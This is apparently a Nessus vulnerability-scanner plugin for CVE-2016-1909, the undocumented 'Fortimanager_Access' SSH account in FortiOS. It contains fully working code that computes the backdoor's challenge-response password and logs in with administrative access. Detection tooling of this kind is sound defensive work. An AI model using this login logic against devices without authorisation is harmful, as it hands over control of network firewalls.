Fortinet FortiOS SSH Undocumented Interactive Login Vulnerability

2016-01-13T00:00:00
ID FORTIOS_SSH_BACKDOOR.NASL
Type nessus
Reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
Modified 2016-01-13T00:00:00

Description

The SSH server running on the remote host can be logged into using default SSH credentials. The 'Fortimanager_Access' account has a password based on the string 'FGTAbc11*xy+Qqz27' and a calculated hash that is publicly known. A remote attacker can exploit this to gain administrative access to the remote host.

                                        
                                            #TRUSTED 0559475cc3068f3f384aeb6d01feb3e3cc80d77ec21811555df4b00593b7f5abf92c2d1d9f9f15b3867715521bc4595a16e1c02f8c1dbb929f21624f4cf060383540c472d63333ee3720cc465aef00729184ab6ed5fcd3c50db69f7278c9daa935f9aa96078c716cee1d37503e5ba4a17f9f00aae0ff3eb693e453ff65b3d7eba4d24e93eabcb78067436e71c7dae564997b9593200a6a7c80585f013afa61bc1a89ec3cea5783d4206086af492954e46b6783d0bea4ea34dca4ebff708d0760c262efd4b4d36fb2f07a7060eb8d747d52eb293b3bff0f8e7dee8e7ff5918d2416887ac3d01b990877e4631714a5492b01784ffc7f08f31fbd0f369a6ef9480170ee860d6669de24e4939f9de174e650dae91e3bec3151f0222539663d39acad73367ff57efde9fd6f3ae716a78410bd41a5013aff69fa1a4e8c494afaf0373a207bba6557842925a81497f092ddae44eb454f4470a7f08a532b84273a08740ab0d2d605fad80bf3e6ecac82fb088e84216e4b0e118eab41c96a155fed2a7c5d272ee9ce63c7da2df86eaa2ee8eda6ebf75b9c744c24d8b8744d3cf896a7fc8b76542a9fb1ea3f57519bd730676cb1092036b0d2b2dfeaff7c1c1b32c3e49fa7a5c7800d3d563b05e464b77014277febbba7f39aff523a37608c144f44117f0e10e1207ed4fb5fa3a392b74f1c0f832342a81e6906190f2a9284c74e20a674b9
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(87896);
  script_version("1.17");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2016-1909");
  script_bugtraq_id(80581);

  script_name(english:"Fortinet FortiOS SSH Undocumented Interactive Login Vulnerability");
  script_summary(english:"Attempts to login to SSH as the user 'Fortimanager_Access'.");

  script_set_attribute(attribute:"synopsis", value:
"The SSH server running on the remote host can be logged into using
default SSH credentials.");
  script_set_attribute(attribute:"description", value:
"The SSH server running on the remote host can be logged into using
default SSH credentials. The 'Fortimanager_Access' account has a
password based on the string 'FGTAbc11*xy+Qqz27' and a calculated hash
that is publicly known. A remote attacker can exploit this to gain
administrative access to the remote host.");
  # https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0c2dcc56");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2016/Jan/26");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Fortinet FortiOS 4.3.17 / 5.0.8 / 5.2.x / 5.4.x or later.
Alternatively, as a workaround, disable administrative access via SSH
on all interfaces.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2016/01/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/07/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2016/01/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:fortinet:fortios");
  script_set_attribute(attribute:"in_the_news", value:"true");
  script_set_attribute(attribute:"default_account", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_detect.nasl");
  script_require_ports("Services/ssh");

  script_exclude_keys("global_settings/supplied_logins_only");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ssh_func.inc");
include("data_protection.inc");

checking_default_account_dont_report = TRUE;

disable_ssh_wrappers();
# This script duplicates a handful of code in ssh_func.inc. The reason for
# this is that this exploit requires special logic at the interactive password
# prompt. Instead of having a normal prompt like "Password:", affected versions
# will prompt with a string of digits. These digits are rolled into a
# custom "hashing" algorithm in order to generate a semi-random password.

function ssh_custom_interactive_auth(user, port)
{
  local_var code, crap, next, payload, prompt, prompts, res, inst, i, password;

  # Request keyboard-interactive authentication from the server.
  payload =
    putstring(buffer:user) +
    putstring(buffer:"ssh-connection") +
    putstring(buffer:"keyboard-interactive") +
    putstring(buffer:"en-US") +
    putstring(buffer:"");

  send_ssh_packet(code:SSH_MSG_USERAUTH_REQUEST, payload:payload);

  # Read the server's response.
  res = recv_ssh_packet();
  code = ord(res[0]);
  next = 1;

  if (code == SSH_MSG_USERAUTH_FAILURE) return FALSE;
  if (code == SSH_MSG_UNIMPLEMENTED) return FALSE;
  if (code != SSH_MSG_USERAUTH_INFO_REQUEST) return FALSE;

  # Skip over name.
  crap = getstring(buffer:res, pos:next);
  next += 4 + strlen(crap);

  # Skip over instruction.
  inst = getstring(buffer:res, pos:next);
  next += 4 + strlen(inst);

  # Skip over language.
  crap = getstring(buffer:res, pos:next);
  next += 4 + strlen(crap);

  # Parse number of prompts.
  prompts = ntol(buffer:res, begin:next);
  next += 4;

  if (prompts <= 0) return FALSE;

  # the prompt is the challenge code
  prompt = getstring(buffer:res, pos:next);

  # verify the "prompt" is all numerals
  for (i = 0; i < strlen(prompt); i++) {
    if (prompt[i] < '0' || prompt[i] >'9') {
      if (i != 0) return FALSE;
      else if (prompt[i] != '-') return FALSE;
    }
  }

  # generate the SHA1 encoded portion
  local_var sha1_password = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00';
  sha1_password += prompt;
  sha1_password += 'FGTAbc11*xy+Qqz27';
  sha1_password += '\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70';
  sha1_password = SHA1(sha1_password);

  # generate the base64 encoded version
  local_var base64_password = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00';
  base64_password += sha1_password;
  base64_password = base64(str:base64_password);

  # the final form of the password
  password = 'AK1' + base64_password;

  # Send a single response, containing the password, to server.
  SSH_PACKET_LOG_SCRUB_STRING = password;
  payload = raw_int32(i:1) + putstring(buffer:password);
  send_ssh_packet(code:SSH_MSG_USERAUTH_INFO_RESPONSE, payload:payload);
  SSH_PACKET_LOG_SCRUB_STRING = FALSE;

  # Read response from server.
  res = recv_ssh_packet();
  code = ord(res[0]);
  return code == SSH_MSG_USERAUTH_SUCCESS;
}

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

# Hard coded username enabled keyboard-interactive
user = 'Fortimanager_Access';
password = '';
port = get_service(svc:"ssh", exit_on_fail:TRUE);

_ssh_socket = open_sock_tcp(port);
if (!_ssh_socket) audit(AUDIT_SOCK_FAIL, port);

# initialization
init();
server_version = ssh_exchange_identification();
if (!server_version)
{
  ssh_close_connection();
  audit(AUDIT_RESP_BAD, port, "SSH ID exchange.");
}

_ssh_server_version = server_version;

# key exchange
ret = ssh_kex2(server_version:server_version, nofingerprint:TRUE);
if (ret != 0)
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

if (!ssh_req_svc("ssh-userauth"))
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

if (!ssh_auth_supported(method:"keyboard-interactive", user:user))
{
  ssh_close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}

system_status = '';
if (ssh_custom_interactive_auth(user:user, port:port)) {
  resp = ssh_cmd(cmd:"get system status", nosh:TRUE, nosudo:TRUE);
  if (resp && "Version:" >< resp) {
    system_status = resp;
  }
}

ssh_close_connection();

if (system_status != '')
{
  if (report_verbosity > 0)
  {
     report =
       '\n' + 'It was possible to SSH into the remote FortiOS device using the' +
       '\n' + 'following username :' +
       '\n' +
       '\n' + '  User     : ' + data_protection::sanitize_user_enum(users:user) +
       '\n' +
       '\n' + 'and to run the \'get system status\' command, which returned :'+
       '\n' +
       '\n' + system_status + '\n';
    security_hole(port:port, extra:report);
  } else security_hole(port:port);
}
else
{
  audit(AUDIT_LISTEN_NOT_VULN, "SSH", port);
}